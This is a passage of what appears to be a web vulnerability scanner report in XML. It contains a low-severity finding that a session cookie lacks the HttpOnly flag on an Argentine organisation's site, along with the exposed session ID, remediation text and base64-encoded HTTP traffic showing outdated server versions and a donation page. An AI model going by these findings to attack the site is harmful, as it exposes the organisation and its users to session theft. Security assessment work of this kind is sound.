9maWVsZHNldD4KCiAgPC9mb3JtPgogIAogIDxiciAvPgo8YnIgLz4KCgoKPHRhYmxlIHdpZHRoPSI2MzMiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjAiIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjMjY1MjE3IiBjbGFzcz0iaDMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMTAiIGNlbGxwYWRkaW5nPSI3Ij4KICAgICAgPHRyPgogICAgICAgIDx0ZCBjbGFzcz0iaDUiPkZPUk1BUyBERSBQQUdPPC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+CiAgICAgIDxzcGFuIGNsYXNzPSJoNCI+CiAgICA8L3NwYW4+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCBiZ2NvbG9yPSIjQ0NDQ0NDIj48YnIgLz4KICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCIgY2VsbHNwYWNpbmc9IjUiPgogICAgICA8dHI+CiAgICAgICAgPHRkIGJnY29sb3I9IiNlMDY3MGEiPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSJoNSI+VGFyamV0YSBkZSBDUsOJRElUTyAocG9yIGTDqWJpdG8gYXV0b23DoXRpY28pPC9zcGFuPjwvdGQ+CiAgICAgIDwvdHI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIxODUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTAiPjxpbWcgc3JjPSJpbWFnZXMvdmlzYW1hc3RlcmFtZS5qcGciICB3aWR0aD0iMjM2IiBoZWlnaHQ9IjYwIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlNlIGxlIGRlYml0YXLDoSBkZSBzdSBjdWVudGEsIHRvZG9zIGxvcyBtZXNlcy4gTGUgcmVjb3JkYW1vcyBxdWUgZWwgZMOpYml0byBhdXRvbcOhdGljbyBkZSBzdSB0YXJqZXRhIGRlIGNyw6lkaXRvIHVzdGVkIGxvIHB1ZWRlIGNhbmNlbGFyIGVuIGVsIG1vbWVudG8gcXVlIGxvIGRlc2VlIGNvbXVuaWPDoW5kb3NlIGNvbiBub3NvdHJvczwvc3Bhbj48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgICAgPC90YWJsZT4KICAgICAgICAgIDxwPgogICAgICAgICAgPC9wPjwvdGQ+CiAgICAgIDwvdHI+CiAgICA8L3RhYmxlPgogICAgICA8cD4mbmJzcDs8L3A+CiAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0iMTAiIGNlbGxzcGFjaW5nPSI1Ij4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYmdjb2xvcj0iI2UwNjcwYSI+Jm5ic3A7IDxzcGFuIGNsYXNzPSJoNSI+RUZFQ1RJVk8gcG9yIMO6bmljYSB2ZXogPC9zcGFuPjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj48ZW0+VXN0ZWQgcmVhbGl6YXLDoSBsYSBkb25hY2nDs24gcG9yIMO6bmljYSB2ZXouIFB1ZWRlIGRvbmFyIGxhcyB2ZWNlcyBxdWUgcXVpZXJhLCBjb21wbGV0YW5kbyBudWV2YW1lbnRlIGVzdGUgZm9ybXVsYXJpbyBlIGluZ3Jlc2FuZG8gZWwgbW9udG8gZGVzZWFkby48L2VtPjwvc3Bhbj48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNDQ0NDQ0MiPjxzcGFuIGNsYXNzPSJoMiI+PHN0cm9uZz5Qb3IgIHRyYW5zZmVyZW5jaWEgYmFuY2FyaWEgbyBkZXDDs3NpdG88L3N0cm9uZz4gPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSUiPjxzcGFuIGNsYXNzPSJoMyI+QVJHRU5USU5BPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijg1JSI+PHNwYW4gY2xhc3M9ImgzIj48aW1nIHNyYz0iaW1hZ2VzL2dhbGljaWEuanBnIiB3aWR0aD0iMTA3IiBoZWlnaHQ9IjE5IiBhbGlnbj0ibWlkZGxlIiAvPjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjciPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoMyI+RGF0b3MgcGFyYSBkZXDDs3NpdG9zIHkvbyB0cmFuc2ZlcmVuY2lhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIxJSI+PHNwYW4gY2xhc3M9ImgzIj5FbnRpZGFkIEJhbmNhcmlhOiA8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijc5JSI+PHNwYW4gY2xhc3M9ImgzIj5CYW5jbyBHYWxpY2lhPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj5UaXR1bGFyIGRlIEN1ZW50YTo8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj5TYWx1ZCBBY3RpdmE8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlRpcG8gZGUgY3VlbnRhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkN1ZW50YSBDb3JyaWVudGUgZW4gcGVzb3M8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPk7Dum1lcm8gZGUgY3VlbnRhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPjU1MTctOCAwNTktNDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+Q0JVOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPjAwNzAwNTk3MjAwMDAwMDU1MTc4NDY8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkNVSVQ6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+MzAtNzA4MDE0NjMtNjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiIGNsYXNzPSJoMyI+UkVTVE8gREVMIE1VTkRPPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0iaDMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjciPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoMyI+RGF0b3MgcGFyYSBkZXDDs3NpdG9zIHkvbyB0cmFuc2ZlcmVuY2lhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMSUiPjxzcGFuIGNsYXNzPSJoMyI+RW50aWRhZCBCYW5jYXJpYTogPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3OSUiPjxzcGFuIGNsYXNzPSJoMyI+V2FjaG92aWEgQmFuayBOLkEuIC0gTmV3IFlvcms8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlN3aWZ0IEFkZHJlc3M6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+UE5CUFVTM05OWUM8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkZlZHdpcmU6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+MDI2MDA1MDkyPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHA+PC9wPgogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0NDQ0NDQyI+PHNwYW4gY2xhc3M9ImgyIj5BY2Vyw6FuZG9zZSBhIG51ZXN0cmEgZW50aWRhZDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0iMTAiIGNlbGxzcGFjaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiPjx0YWJsZSB3aWR0aD0iMzAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7Jm5ic3A7PGltZyBzcmM9ImltYWdlcy9zYWx1ZC5qcGciIHdpZHRoPSIxNTQiIGhlaWdodD0iMzkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJoMyI+RGlyZWNjaW9uOiBBdi4gUHRlIFBlcsOzbiAoZXggUml2YWRhdmlhKSAyNTE0MC4gTWVybG8gQnMuIEFzLjxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICBUZWwuOiAwMjIwIDQ4Mjg0MTggLyA0ODYxMTgwPGJyIC8+CiAgICAgICAgICAgICAgICAgICAgICAgIEUtbWFpbDogc2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICA8cD48L3A+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0NDQ0NDQyIgY2xhc3M9ImgyIj5ESU5FUk8gTUFJTDwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCIgY2VsbHNwYWNpbmc9IjUiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIzMDAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTAiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyOTAiPjxpbWcgc3JjPSJpbWFnZXMvZGluZXJvbWFpbC5qcGciIHdpZHRoPSI0MTEiIGhlaWdodD0iNTAiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjUiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaDMiPkltcHJpbWEgZWwgY3Vww7NuIHkgZGlyw61qYXNlIGEgbGFzIHN1Y3Vyc2FsZXMgaGFiaWxpdGFkYXMgcGFyYSByZWFsaXphciBlbCBwYWdvLiBMdWVnbyBww7NuZ2FzZSBlbiBjb250YWN0byBjb24gbm9zb3Ryb3MgcGFyYSBpbmZvcm1hcm5vcyBkZSBsYSBvcGVyYWNpw7NuLjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgPHA+PC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICA8L3RyPgogICAgICA8L3RhYmxlPgogICAgICA8cD48YnIgLz4KICAgIDwvcD48L3RkPgogIDwvdHI+CjwvdGFibGU+CgoKICAgICAKPC9kaXY+CgoKPCEtLWVuZCBvZiBDT05URU5JRE8yIC0tPgogICAgCiAgICA8ZGl2IGNsYXNzPSJjb250ZW5pZG8iIGlkPSJjb250ZW5pZG8zIj4KCgogICAgPC9kaXY+IDwhLS1lbmQgb2YgQ09OVEVOSURPMyAtLT4KICAgIAogICAgPGRpdiBjbGFzcz0iY29udGVuaWRvIiBpZD0iY29udGVuaWRvNCI+CiAgICAKICAgIDwvZGl2PiA8IS0tZW5kIG9mIENPTlRFTklETzQgLS0+CiAgICAKPGJyIC8+ICAgIAo8YnIgLz4KPGRpdiBjbGFzcz0iY29udGVuaWRvMiIgaWQ9ImNvbnRlbmlkbzUiIGFsaWduPSJjZW50ZXIiPjwvZGl2Pgo8cD4KICA8IS0tZW5kIG9mIENPTlRFTklETzQgLS0+CiAgPCEtLWVuZCBvZiBDT05URU5FRE9SIC0tPgo8L3A+Cgo8c2NyaXB0Pm11ZXN0cmFGb3JtYVBhZ28oZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Zvcm1hcGFnbycpLnZhbHVlKTwvc2NyaXB0Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==]]></response>
236 <responseRedirected>false</responseRedirected>
237 </requestresponse>
238 </issue>
239 <issue>
240 <serialNumber>3260534830746413056</serialNumber>
241 <type>5244416</type>
242 <name>Cookie without HttpOnly flag set</name>
243 <host ip="200.20.20.201">http://www.example.org.ar</host>
244 <path><![CDATA[/]]></path>
245 <location><![CDATA[/]]></location>
246 <severity>Low</severity>
247 <confidence>Firm</confidence>
248 <issueBackground><![CDATA[If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.]]></issueBackground>
249 <remediationBackground><![CDATA[There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.<br><br>You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.]]></remediationBackground>
250 <issueDetail><![CDATA[The following cookie was issued by the application and does not have the HttpOnly flag set:<ul><li><b>PHPSESSID=94585aa0c11cf2e864d83e24678b9865; path=/</b></li></ul>The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.]]></issueDetail>
251 <requestresponse>
252 <request base64="true"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjg7IHJ2OjIzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjMuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo=]]></request>
253 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjEyOjAyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPTk0NTg1YWEwYzExY2YyZTg2NGQ4M2UyNDY3OGI5ODY1OyBwYXRoPS8NCktlZXAtQWxpdmU6IHRpbWVvdXQ9MjAsIG1heD0yMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0I